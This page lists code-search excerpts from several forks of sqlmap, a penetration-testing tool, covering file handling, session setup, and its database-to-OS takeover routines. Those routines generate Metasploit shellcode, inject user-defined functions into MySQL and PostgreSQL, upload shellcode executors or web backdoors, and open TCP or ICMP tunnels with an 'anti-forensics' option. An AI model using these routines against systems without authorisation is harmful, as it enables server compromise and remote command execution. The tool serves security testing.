コード例 #1
0
ファイル: xmldump.py プロジェクト: webvul/webfuzzer
    def setOutputFile(self):
        '''
        Initiates the xml file from the configuration.
        '''
        if (conf.xmlFile):
            try:
                self._outputFile = conf.xmlFile
                self.__root = None

                if os.path.exists(self._outputFile):
                    try:
                        self.__doc = xml.dom.minidom.parse(self._outputFile)
                        self.__root = self.__doc.childNodes[0]
                    except ExpatError:
                        self.__doc = Document()

                self._outputFP = codecs.open(self._outputFile, "w+",
                                             UNICODE_ENCODING)

                if self.__root is None:
                    self.__root = self.__doc.createElementNS(
                        NAME_SPACE_ATTR, RESULTS_ELEM_NAME)
                    self.__root.setAttributeNode(
                        self._createAttribute(XMLNS_ATTR, NAME_SPACE_ATTR))
                    self.__root.setAttributeNode(
                        self._createAttribute(SCHEME_NAME_ATTR, SCHEME_NAME))
                    self.__doc.appendChild(self.__root)
            except IOError:
                raise SqlmapFilePathException(
                    "Wrong filename provided for saving the xml file: %s" %
                    conf.xmlFile)
コード例 #2
0
ファイル: sqlalchemy.py プロジェクト: bbhunter/nodesql
    def connect(self):
        if _sqlalchemy:
            self.initConnection()

            try:
                if not self.port and self.db:
                    if not os.path.exists(self.db):
                        raise SqlmapFilePathException(
                            "the provided database file '%s' does not exist" %
                            self.db)

                    _ = conf.direct.split("//", 1)
                    conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db))

                if self.dialect:
                    conf.direct = conf.direct.replace(conf.dbms, self.dialect,
                                                      1)

                if self.dialect == "sqlite":
                    engine = _sqlalchemy.create_engine(
                        conf.direct, connect_args={"check_same_thread": False})
                elif self.dialect == "oracle":
                    engine = _sqlalchemy.create_engine(conf.direct)
                else:
                    engine = _sqlalchemy.create_engine(conf.direct,
                                                       connect_args={})

                self.connector = engine.connect()
            except (TypeError, ValueError):
                if "_get_server_version_info" in traceback.format_exc():
                    try:
                        import pymssql
                        if int(pymssql.__version__[0]) < 2:
                            raise SqlmapConnectionException(
                                "SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)"
                                % pymssql.__version__)
                    except ImportError:
                        pass
                elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(
                ):
                    raise SqlmapConnectionException(
                        "SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')"
                    )
                else:
                    pass
            except SqlmapFilePathException:
                raise
            except Exception as ex:
                raise SqlmapConnectionException(
                    "SQLAlchemy connection issue ('%s')" % getSafeExString(ex))

            self.printConnected()
        else:
            raise SqlmapMissingDependence("SQLAlchemy not available")
コード例 #3
0
    def createMsfShellcode(self, exitfunc, format, extra, encode):
        infoMsg = "creating Metasploit Framework multi-stage shellcode "
        logger.info(infoMsg)

        self._randStr = randomStr(lowercase=True)
        self._shellcodeFilePath = os.path.join(conf.outputPath,
                                               "tmpm%s" % self._randStr)

        Metasploit._initVars(self)
        self._prepareIngredients(encode=encode)
        self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath,
                                 extra)

        logger.debug("executing local command: %s" % self._payloadCmd)
        process = execute(self._payloadCmd,
                          shell=True,
                          stdin=PIPE,
                          stdout=PIPE,
                          stderr=PIPE,
                          close_fds=False)

        dataToStdout("\r[%s] [INFO] creation in progress " %
                     time.strftime("%X"))
        pollProcess(process)
        payloadStderr = process.communicate()[1]

        match = re.search(
            b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)",
            payloadStderr)

        if match:
            payloadSize = int(match.group(2))

            if extra == "BufferRegister=EAX":
                payloadSize = payloadSize // 2

            debugMsg = "the shellcode size is %d bytes" % payloadSize
            logger.debug(debugMsg)
        else:
            errMsg = "failed to create the shellcode ('%s')" % getText(
                payloadStderr).replace("\n", " ").replace("\r", "")
            raise SqlmapFilePathException(errMsg)

        self._shellcodeFP = open(self._shellcodeFilePath, "rb")
        self.shellcodeString = getText(self._shellcodeFP.read())
        self._shellcodeFP.close()

        os.unlink(self._shellcodeFilePath)
コード例 #4
0
ファイル: target.py プロジェクト: itfoxnet/sqlmap
def _setHashDB():
    """
    Check and set the HashDB SQLite file for query resume functionality.
    """

    if not conf.hashDBFile:
        conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, "session.sqlite")

    if os.path.exists(conf.hashDBFile):
        if conf.flushSession:
            try:
                os.remove(conf.hashDBFile)
                logger.info("flushing session file")
            except OSError, msg:
                errMsg = "unable to flush the session file (%s)" % msg
                raise SqlmapFilePathException(errMsg)
コード例 #5
0
ファイル: abstraction.py プロジェクト: Boy-314/appsec
    def initEnv(self,
                mandatory=True,
                detailed=False,
                web=False,
                forceInit=False):
        self._initRunAs()

        if self.envInitialized and not forceInit:
            return

        if web:
            self.webInit()
        else:
            self.checkDbmsOs(detailed)

            if mandatory and not self.isDba():
                warnMsg = "functionality requested probably does not work because "
                warnMsg += "the current session user is not a database administrator"

                if not conf.dbmsCred and Backend.getIdentifiedDbms() in (
                        DBMS.MSSQL, DBMS.PGSQL):
                    warnMsg += ". You can try to use option '--dbms-cred' "
                    warnMsg += "to execute statements as a DBA user if you "
                    warnMsg += "were able to extract and crack a DBA "
                    warnMsg += "password by any mean"

                logger.warn(warnMsg)

            if any((conf.osCmd, conf.osShell)) and Backend.isDbms(
                    DBMS.PGSQL) and self.checkCopyExec():
                success = True
            elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                success = self.udfInjectSys()

                if success is not True:
                    msg = "unable to mount the operating system takeover"
                    raise SqlmapFilePathException(msg)
            elif Backend.isDbms(DBMS.MSSQL):
                if mandatory:
                    self.xpCmdshellInit()
            else:
                errMsg = "feature not yet implemented for the back-end DBMS"
                raise SqlmapUnsupportedFeatureException(errMsg)

        self.envInitialized = True
コード例 #6
0
ファイル: target.py プロジェクト: zimmer84/sqlmap
def _setHashDB():
    """
    Check and set the HashDB SQLite file for query resume functionality.
    """

    if not conf.hashDBFile:
        conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE)

    if os.path.exists(conf.hashDBFile):
        if conf.flushSession:
            try:
                os.remove(conf.hashDBFile)
                logger.info("flushing session file")
            except OSError as ex:
                errMsg = "unable to flush the session file ('%s')" % getSafeExString(ex)
                raise SqlmapFilePathException(errMsg)

    conf.hashDB = HashDB(conf.hashDBFile)
コード例 #7
0
ファイル: udf.py プロジェクト: BLUEDELPHI/sqlmap
    def udfInjectCustom(self):
        if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
            errMsg = "UDF injection feature only works on MySQL and PostgreSQL"
            logger.error(errMsg)
            return

        if not isStackingAvailable() and not conf.direct:
            errMsg = "UDF injection feature requires stacked queries SQL injection"
            logger.error(errMsg)
            return

        self.checkDbmsOs()

        if not self.isDba():
            warnMsg = "functionality requested probably does not work because "
            warnMsg += "the current session user is not a database administrator"
            logger.warn(warnMsg)

        if not conf.shLib:
            msg = "what is the local path of the shared library? "

            while True:
                self.udfLocalFile = readInput(msg)

                if self.udfLocalFile:
                    break
                else:
                    logger.warn("you need to specify the local path of the shared library")
        else:
            self.udfLocalFile = conf.shLib

        if not os.path.exists(self.udfLocalFile):
            errMsg = "the specified shared library file does not exist"
            raise SqlmapFilePathException(errMsg)

        if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
            errMsg = "shared library file must end with '.dll' or '.so'"
            raise SqlmapMissingMandatoryOptionException(errMsg)

        elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS):
            errMsg = "you provided a shared object as shared library, but "
            errMsg += "the database underlying operating system is Windows"
            raise SqlmapMissingMandatoryOptionException(errMsg)

        elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX):
            errMsg = "you provided a dynamic-link library as shared library, "
            errMsg += "but the database underlying operating system is Linux"
            raise SqlmapMissingMandatoryOptionException(errMsg)

        self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
        self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]

        msg = "how many user-defined functions do you want to create "
        msg += "from the shared library? "

        while True:
            udfCount = readInput(msg, default='1')

            if udfCount.isdigit():
                udfCount = int(udfCount)

                if udfCount <= 0:
                    logger.info("nothing to inject then")
                    return
                else:
                    break
            else:
                logger.warn("invalid value, only digits are allowed")

        for x in xrange(0, udfCount):
            while True:
                msg = "what is the name of the UDF number %d? " % (x + 1)
                udfName = readInput(msg)

                if udfName:
                    self.udfs[udfName] = {}
                    break
                else:
                    logger.warn("you need to specify the name of the UDF")

            if Backend.isDbms(DBMS.MYSQL):
                defaultType = "string"
            elif Backend.isDbms(DBMS.PGSQL):
                defaultType = "text"

            self.udfs[udfName]["input"] = []

            msg = "how many input parameters takes UDF "
            msg += "'%s'? (default: 1) " % udfName

            while True:
                parCount = readInput(msg, default='1')

                if parCount.isdigit() and int(parCount) >= 0:
                    parCount = int(parCount)
                    break

                else:
                    logger.warn("invalid value, only digits >= 0 are allowed")

            for y in xrange(0, parCount):
                msg = "what is the data-type of input parameter "
                msg += "number %d? (default: %s) " % ((y + 1), defaultType)

                while True:
                    parType = readInput(msg, default=defaultType).strip()

                    if parType.isdigit():
                        logger.warn("you need to specify the data-type of the parameter")

                    else:
                        self.udfs[udfName]["input"].append(parType)
                        break

            msg = "what is the data-type of the return "
            msg += "value? (default: %s) " % defaultType

            while True:
                retType = readInput(msg, default=defaultType)

                if hasattr(retType, "isdigit") and retType.isdigit():
                    logger.warn("you need to specify the data-type of the return value")
                else:
                    self.udfs[udfName]["return"] = retType
                    break

        success = self.udfInjectCore(self.udfs)

        if success is False:
            self.cleanup(udfDict=self.udfs)
            return False

        msg = "do you want to call your injected user-defined "
        msg += "functions now? [Y/n/q] "
        choice = readInput(msg, default='Y').upper()

        if choice == 'N':
            self.cleanup(udfDict=self.udfs)
            return
        elif choice == 'Q':
            self.cleanup(udfDict=self.udfs)
            raise SqlmapUserQuitException

        while True:
            udfList = []
            msg = "which UDF do you want to call?"

            for udf in self.udfs.keys():
                udfList.append(udf)
                msg += "\n[%d] %s" % (len(udfList), udf)

            msg += "\n[q] Quit"

            while True:
                choice = readInput(msg).upper()

                if choice == 'Q':
                    break
                elif hasattr(choice, "isdigit") and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
                    choice = int(choice)
                    break
                elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
                    break
                else:
                    warnMsg = "invalid value, only digits >= 1 and "
                    warnMsg += "<= %d are allowed" % len(udfList)
                    logger.warn(warnMsg)

            if not isinstance(choice, int):
                break

            cmd = ""
            count = 1
            udfToCall = udfList[choice - 1]

            for inp in self.udfs[udfToCall]["input"]:
                msg = "what is the value of the parameter number "
                msg += "%d (data-type: %s)? " % (count, inp)

                while True:
                    parValue = readInput(msg)

                    if parValue:
                        if "int" not in inp and "bool" not in inp:
                            parValue = "'%s'" % parValue

                        cmd += "%s," % parValue

                        break
                    else:
                        logger.warn("you need to specify the value of the parameter")

                count += 1

            cmd = cmd[:-1]
            msg = "do you want to retrieve the return value of the "
            msg += "UDF? [Y/n] "

            if readInput(msg, default='Y', boolean=True):
                output = self.udfEvalCmd(cmd, udfName=udfToCall)

                if output:
                    conf.dumper.string("return value", output)
                else:
                    dataToStdout("No return value\n")
            else:
                self.udfExecCmd(cmd, udfName=udfToCall, silent=True)

            msg = "do you want to call this or another injected UDF? [Y/n] "

            if not readInput(msg, default='Y', boolean=True):
                break

        self.cleanup(udfDict=self.udfs)
コード例 #8
0
ファイル: takeover.py プロジェクト: yudevan/sqlmap
    def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "how do you want to establish the tunnel?"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
            valids = (1, 2)

            while True:
                tunnel = readInput(msg, default=1)

                if isinstance(tunnel, basestring) and tunnel.isdigit() and int(
                        tunnel) in valids:
                    tunnel = int(tunnel)
                    break

                elif isinstance(tunnel, int) and tunnel in valids:
                    break

                else:
                    warnMsg = "invalid value, valid values are 1 and 2"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "the tunnel can be established only via TCP when "
            debugMsg += "the back-end DBMS is not Windows"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "you need to run sqlmap as an administrator "
                errMsg += "if you want to establish an out-of-band ICMP "
                errMsg += "tunnel because icmpsh uses raw sockets to "
                errMsg += "sniff and craft ICMP packets"
                raise SqlmapMissingPrivileges(errMsg)

            try:
                from impacket import ImpactDecoder
                from impacket import ImpactPacket
            except ImportError:
                errMsg = "sqlmap requires 'python-impacket' third-party library "
                errMsg += "in order to run icmpsh master. You can get it at "
                errMsg += "http://code.google.com/p/impacket/downloads/list"
                raise SqlmapMissingDependence(errMsg)

            sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(sysIgnoreIcmp):
                fp = open(sysIgnoreIcmp, "wb")
                fp.write("1")
                fp.close()
            else:
                errMsg = "you need to disable ICMP replies by your machine "
                errMsg += "system-wide. For example run on Linux/Unix:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "If you miss doing that, you will receive "
                errMsg += "information from the database server and it "
                errMsg += "is unlikely to receive commands sent from you"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop("sys_bineval")

        self.getRemoteTempPath()

        if isStackingAvailable() or conf.direct:
            web = False

            self.initEnv(web=web)

            if tunnel == 1:
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    msg = "how do you want to execute the Metasploit shellcode "
                    msg += "on the back-end database underlying operating system?"
                    msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
                    msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)"

                    while True:
                        choice = readInput(msg, default=1)

                        if isinstance(choice, basestring) and choice.isdigit(
                        ) and int(choice) in (1, 2):
                            choice = int(choice)
                            break

                        elif isinstance(choice, int) and choice in (1, 2):
                            break

                        else:
                            warnMsg = "invalid value, valid values are 1 and 2"
                            logger.warn(warnMsg)

                    if choice == 1:
                        goUdf = True

                if goUdf:
                    exitfunc = "thread"
                    setupSuccess = True
                else:
                    exitfunc = "process"

                self.createMsfShellcode(exitfunc=exitfunc,
                                        format="raw",
                                        extra="BufferRegister=EAX",
                                        encode="x86/alpha_mixed")

                if not goUdf:
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        if Backend.isDbms(DBMS.MYSQL):
                            fallbackToWeb = True
                        else:
                            msg = "unable to mount the operating system takeover"
                            raise SqlmapFilePathException(msg)

                if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
                        DBMS.MYSQL) and conf.privEsc:
                    debugMsg = "by default MySQL on Windows runs as SYSTEM "
                    debugMsg += "user, no need to privilege escalate"
                    logger.debug(debugMsg)

            elif tunnel == 2:
                setupSuccess = self.uploadIcmpshSlave(web=web)

                if setupSuccess is not True:
                    if Backend.isDbms(DBMS.MYSQL):
                        fallbackToWeb = True
                    else:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

        if not setupSuccess and Backend.isDbms(
                DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
                                                     or fallbackToWeb):
            web = True

            if fallbackToWeb:
                infoMsg = "falling back to web backdoor to establish the tunnel"
            else:
                infoMsg = "going to use a web backdoor to establish the tunnel"
            logger.info(infoMsg)

            self.initEnv(web=web, forceInit=fallbackToWeb)

            if self.webBackdoorUrl:
                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    # Unset --priv-esc if the back-end DBMS underlying operating
                    # system is not Windows
                    conf.privEsc = False

                    warnMsg = "sqlmap does not implement any operating system "
                    warnMsg += "user privilege escalation technique when the "
                    warnMsg += "back-end DBMS underlying system is not Windows"
                    logger.warn(warnMsg)

                if tunnel == 1:
                    self.createMsfShellcode(exitfunc="process",
                                            format="raw",
                                            extra="BufferRegister=EAX",
                                            encode="x86/alpha_mixed")
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

                elif tunnel == 2:
                    setupSuccess = self.uploadIcmpshSlave(web=web)

                    if setupSuccess is not True:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

        if setupSuccess:
            if tunnel == 1:
                self.pwn(goUdf)
            elif tunnel == 2:
                self.icmpPwn()
        else:
            errMsg = "unable to prompt for an out-of-band session"
            raise SqlmapNotVulnerableException(errMsg)

        if not conf.cleanup:
            self.cleanup(web=web)
コード例 #9
0
 def checkFileDb(self):
     if not os.path.exists(self.db):
         errMsg = "the provided database file '%s' does not exist" % self.db
         raise SqlmapFilePathException(errMsg)
コード例 #10
0
ファイル: takeover.py プロジェクト: zz110/sqlmap
class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
    """
    This class defines generic OS takeover functionalities for plugins.
    """
    def __init__(self):
        self.cmdTblName = "sqlmapoutput"
        self.tblField = "data"

        Abstraction.__init__(self)

    def osCmd(self):
        if isStackingAvailable() or conf.direct:
            web = False
        elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
            infoMsg = "going to use a web backdoor for command execution"
            logger.info(infoMsg)

            web = True
        else:
            errMsg = "unable to execute operating system commands via "
            errMsg += "the back-end DBMS"
            raise SqlmapNotVulnerableException(errMsg)

        self.getRemoteTempPath()
        self.initEnv(web=web)

        if not web or (web and self.webBackdoorUrl is not None):
            self.runCmd(conf.osCmd)

        if not conf.osShell and not conf.osPwn and not conf.cleanup:
            self.cleanup(web=web)

    def osShell(self):
        if isStackingAvailable() or conf.direct:
            web = False
        elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
            infoMsg = "going to use a web backdoor for command prompt"
            logger.info(infoMsg)

            web = True
        else:
            errMsg = "unable to prompt for an interactive operating "
            errMsg += "system shell via the back-end DBMS because "
            errMsg += "stacked queries SQL injection is not supported"
            raise SqlmapNotVulnerableException(errMsg)

        self.getRemoteTempPath()
        self.initEnv(web=web)

        if not web or (web and self.webBackdoorUrl is not None):
            self.shell()

        if not conf.osPwn and not conf.cleanup:
            self.cleanup(web=web)

    def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "how do you want to establish the tunnel?"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"

            while True:
                tunnel = readInput(msg, default='1')

                if tunnel.isdigit() and int(tunnel) in (1, 2):
                    tunnel = int(tunnel)
                    break

                else:
                    warnMsg = "invalid value, valid values are '1' and '2'"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "the tunnel can be established only via TCP when "
            debugMsg += "the back-end DBMS is not Windows"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "you need to run sqlmap as an administrator "
                errMsg += "if you want to establish an out-of-band ICMP "
                errMsg += "tunnel because icmpsh uses raw sockets to "
                errMsg += "sniff and craft ICMP packets"
                raise SqlmapMissingPrivileges(errMsg)

            try:
                __import__("impacket")
            except ImportError:
                errMsg = "sqlmap requires 'python-impacket' third-party library "
                errMsg += "in order to run icmpsh master. You can get it at "
                errMsg += "http://code.google.com/p/impacket/downloads/list"
                raise SqlmapMissingDependence(errMsg)

            filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(filename):
                try:
                    with open(filename, "wb") as f:
                        f.write("1")
                except IOError, ex:
                    errMsg = "there has been a file opening/writing error "
                    errMsg += "for filename '%s' ('%s')" % (
                        filename, getSafeExString(ex))
                    raise SqlmapSystemException(errMsg)
            else:
                errMsg = "you need to disable ICMP replies by your machine "
                errMsg += "system-wide. For example run on Linux/Unix:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "If you miss doing that, you will receive "
                errMsg += "information from the database server and it "
                errMsg += "is unlikely to receive commands sent from you"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop("sys_bineval")

        self.getRemoteTempPath()

        if isStackingAvailable() or conf.direct:
            web = False

            self.initEnv(web=web)

            if tunnel == 1:
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    msg = "how do you want to execute the Metasploit shellcode "
                    msg += "on the back-end database underlying operating system?"
                    msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
                    msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)"

                    while True:
                        choice = readInput(msg, default='1')

                        if choice.isdigit() and int(choice) in (1, 2):
                            choice = int(choice)
                            break

                        else:
                            warnMsg = "invalid value, valid values are '1' and '2'"
                            logger.warn(warnMsg)

                    if choice == 1:
                        goUdf = True

                if goUdf:
                    exitfunc = "thread"
                    setupSuccess = True
                else:
                    exitfunc = "process"

                self.createMsfShellcode(exitfunc=exitfunc,
                                        format="raw",
                                        extra="BufferRegister=EAX",
                                        encode="x86/alpha_mixed")

                if not goUdf:
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        if Backend.isDbms(DBMS.MYSQL):
                            fallbackToWeb = True
                        else:
                            msg = "unable to mount the operating system takeover"
                            raise SqlmapFilePathException(msg)

                if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
                        DBMS.MYSQL) and conf.privEsc:
                    debugMsg = "by default MySQL on Windows runs as SYSTEM "
                    debugMsg += "user, no need to privilege escalate"
                    logger.debug(debugMsg)

            elif tunnel == 2:
                setupSuccess = self.uploadIcmpshSlave(web=web)

                if setupSuccess is not True:
                    if Backend.isDbms(DBMS.MYSQL):
                        fallbackToWeb = True
                    else:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

        if not setupSuccess and Backend.isDbms(
                DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
                                                     or fallbackToWeb):
            web = True

            if fallbackToWeb:
                infoMsg = "falling back to web backdoor to establish the tunnel"
            else:
                infoMsg = "going to use a web backdoor to establish the tunnel"
            logger.info(infoMsg)

            self.initEnv(web=web, forceInit=fallbackToWeb)

            if self.webBackdoorUrl:
                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    # Unset --priv-esc if the back-end DBMS underlying operating
                    # system is not Windows
                    conf.privEsc = False

                    warnMsg = "sqlmap does not implement any operating system "
                    warnMsg += "user privilege escalation technique when the "
                    warnMsg += "back-end DBMS underlying system is not Windows"
                    logger.warn(warnMsg)

                if tunnel == 1:
                    self.createMsfShellcode(exitfunc="process",
                                            format="raw",
                                            extra="BufferRegister=EAX",
                                            encode="x86/alpha_mixed")
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

                elif tunnel == 2:
                    setupSuccess = self.uploadIcmpshSlave(web=web)

                    if setupSuccess is not True:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

        if setupSuccess:
            if tunnel == 1:
                self.pwn(goUdf)
            elif tunnel == 2:
                self.icmpPwn()
        else:
            errMsg = "unable to prompt for an out-of-band session"
            raise SqlmapNotVulnerableException(errMsg)

        if not conf.cleanup:
            self.cleanup(web=web)
コード例 #11
0
ファイル: takeover.py プロジェクト: taopeng-life/github
    def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "你想如何建立隧道??"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"

            while True:
                tunnel = readInput(msg, default='1')

                if tunnel.isdigit() and int(tunnel) in (1, 2):
                    tunnel = int(tunnel)
                    break

                else:
                    warnMsg = "无效值,有效值为'1'和'2'"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "当后端DBMS不是Windows时,隧道只能通过TCP建立"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "如果要建立带外ICMP隧道,则需要以管理员身份运行sqlmap,因为icmpsh使用原始套接字来嗅探和制作ICMP数据包"
                raise SqlmapMissingPrivileges(errMsg)

            try:
                from impacket import ImpactDecoder
                from impacket import ImpactPacket
            except ImportError:
                errMsg = "sqlmap需要“python-impacket”第三方库才能运行icmpsh master。"
                errMsg += "您可以访问http://code.google.com/p/impacket/downloads/list"
                raise SqlmapMissingDependence(errMsg)

            sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(sysIgnoreIcmp):
                fp = open(sysIgnoreIcmp, "wb")
                fp.write("1")
                fp.close()
            else:
                errMsg = "您需要在整个系统范围内禁用ICMP回复 "
                errMsg += "例如在Linux/Unix上运行:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "如果您错过了这么做,您将收到来自数据库服务器的信息,而不会收到您发送的命令的回应。"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop("sys_bineval")

        self.getRemoteTempPath()

        if isStackingAvailable() or conf.direct:
            web = False

            self.initEnv(web=web)

            if tunnel == 1:
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    msg = "您打算如何在底层操作系统的底层数据库上执行Metasploit shellcode?"
                    msg += "\n[1] 通过UDF 'sys_bineval' (内存方式,反取证,默认)"
                    msg += "\n[2] 通过shellcodeexec(文件系统方式,首选64位系统)"

                    while True:
                        choice = readInput(msg, default='1')

                        if choice.isdigit() and int(choice) in (1, 2):
                            choice = int(choice)
                            break

                        else:
                            warnMsg = "无效值,有效值为1和2"
                            logger.warn(warnMsg)

                    if choice == 1:
                        goUdf = True

                if goUdf:
                    exitfunc = "thread"
                    setupSuccess = True
                else:
                    exitfunc = "process"

                self.createMsfShellcode(exitfunc=exitfunc,
                                        format="raw",
                                        extra="BufferRegister=EAX",
                                        encode="x86/alpha_mixed")

                if not goUdf:
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        if Backend.isDbms(DBMS.MYSQL):
                            fallbackToWeb = True
                        else:
                            msg = "无法挂载操作系统接管"
                            raise SqlmapFilePathException(msg)

                if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
                        DBMS.MYSQL) and conf.privEsc:
                    debugMsg = "默认情况下,MySQL在Windows上运行为SYSTEM用户,不需要权限升级"
                    logger.debug(debugMsg)

            elif tunnel == 2:
                setupSuccess = self.uploadIcmpshSlave(web=web)

                if setupSuccess is not True:
                    if Backend.isDbms(DBMS.MYSQL):
                        fallbackToWeb = True
                    else:
                        msg = "无法挂载操作系统接管"
                        raise SqlmapFilePathException(msg)

        if not setupSuccess and Backend.isDbms(
                DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
                                                     or fallbackToWeb):
            web = True

            if fallbackToWeb:
                infoMsg = "falling back to web backdoor to establish the tunnel"
            else:
                infoMsg = "要使用web后门建立隧道"
            logger.info(infoMsg)

            self.initEnv(web=web, forceInit=fallbackToWeb)

            if self.webBackdoorUrl:
                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    #Unset --priv-esc如果后端DBMS底层操作系统不是Windows
                    conf.privEsc = False

                    warnMsg = "当后台DBMS底层系统不是Windows时,sqlmap不实现任何操作系统用户权限升级技术"
                    logger.warn(warnMsg)

                if tunnel == 1:
                    self.createMsfShellcode(exitfunc="process",
                                            format="raw",
                                            extra="BufferRegister=EAX",
                                            encode="x86/alpha_mixed")
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        msg = "无法挂载操作系统接管"
                        raise SqlmapFilePathException(msg)

                elif tunnel == 2:
                    setupSuccess = self.uploadIcmpshSlave(web=web)

                    if setupSuccess is not True:
                        msg = "无法挂载操作系统接管"
                        raise SqlmapFilePathException(msg)

        if setupSuccess:
            if tunnel == 1:
                self.pwn(goUdf)
            elif tunnel == 2:
                self.icmpPwn()
        else:
            errMsg = "unable to prompt for an out-of-band session"
            raise SqlmapNotVulnerableException(errMsg)

        if not conf.cleanup:
            self.cleanup(web=web)
コード例 #12
0
    def udfInjectCustom(self):
        if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
            errMsg = "UDF注入功能仅适用于MySQL和PostgreSQL"
            logger.error(errMsg)
            return

        if not isStackingAvailable() and not conf.direct:
            errMsg = "UDF注入功能需要堆叠(多语句)查询SQL注入"
            logger.error(errMsg)
            return

        self.checkDbmsOs()

        if not self.isDba():
            warnMsg = "所请求的功能可能不起作用,因为当前会话用户不是数据库管理员。"
            logger.warn(warnMsg)

        if not conf.shLib:
            msg = "共享库的本地路径是什么?"

            while True:
                self.udfLocalFile = readInput(msg)

                if self.udfLocalFile:
                    break
                else:
                    logger.warn("您需要指定共享库的本地路径")
        else:
            self.udfLocalFile = conf.shLib

        if not os.path.exists(self.udfLocalFile):
            errMsg = "指定的共享库文件不存在"
            raise SqlmapFilePathException(errMsg)

        if not self.udfLocalFile.endswith(
                ".dll") and not self.udfLocalFile.endswith(".so"):
            errMsg = "共享库文件必须以'.dll'或'.so'结尾"
            raise SqlmapMissingMandatoryOptionException(errMsg)

